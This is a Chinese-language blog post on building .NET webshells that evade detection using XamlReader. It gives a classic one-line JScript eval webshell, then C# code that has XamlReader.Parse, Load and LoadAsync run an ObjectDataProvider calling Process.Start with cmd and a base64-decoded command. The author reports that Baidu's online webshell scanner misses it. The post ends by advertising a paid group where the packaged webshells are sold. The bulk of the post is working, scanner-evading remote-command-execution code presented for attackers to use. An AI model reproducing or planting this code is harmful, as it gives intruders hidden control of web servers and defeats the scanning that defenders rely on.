.NET WebShell 免杀系列之XamlReader

.NET平台下的一句话木马百年不变,最常见的当属下面这句,百度WebShell在线查杀可正常识别如下图.

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

 

.NET WebShell 免杀系列之XamlReader

笔者从.NET XamlReader类提供的多个方法实现免杀WebShell

0x01 XamlReader.Parse

XamlReader封装于WPF核心程序集PresentationFramework.dll,处于System.Windows.Markup命名空间下,提供封装方法XamlReader.Parse用于直接解析XAML代码,参考如下代码

string ExecCode = EncodeBase64("utf-8", content);StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");strXMAL.Append("<ObjectDataProvider.MethodParameters>");strXMAL.Append("<b:String>cmd</b:String>");strXMAL.Append("<b:String>"+ DecodeBase64("utf-8",ExecCode) +"</b:String>");strXMAL.Append("</ObjectDataProvider.MethodParameters>");strXMAL.Append("</ObjectDataProvider>");strXMAL.Append("</ResourceDictionary>");XamlReader.Parse(strXMAL.ToString());

.NET WebShell 免杀系列之XamlReader

百度WebShell在线查杀未识别出来,免杀成功!

.NET WebShell 免杀系列之XamlReader

0x02 XamlReader.Load

另外XamlReader类提供多个Load重载,直接将载入流转换为对象如下,同样实现免杀

MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));XamlReader.Load(ms);

0x03 XamlReader.LoadAsync

XamlReader类提供LoadAsync异步方法,用于在大文件数据传输不影响程序主线程,直接将载入流转换为对象如下

string ExecCode = EncodeBase64("utf-8", content);StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");strXMAL.Append("<ObjectDataProvider.MethodParameters>");strXMAL.Append("<b:String>cmd</b:String>");strXMAL.Append("<b:String>" + DecodeBase64("utf-8", ExecCode) + "</b:String>");strXMAL.Append("</ObjectDataProvider.MethodParameters>");strXMAL.Append("</ObjectDataProvider>");strXMAL.Append("</ResourceDictionary>");MemoryStream memoryStream = new MemoryStream(System.Text.Encoding.Default.GetBytes(strXMAL.ToString()));XamlReader xamlReader = new XamlReader();xamlReader.LoadAsync(memoryStream);

0x02 结语

笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

.NET WebShell 免杀系列之XamlReader

WebShell文件均已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

.NET WebShell 免杀系列之XamlReader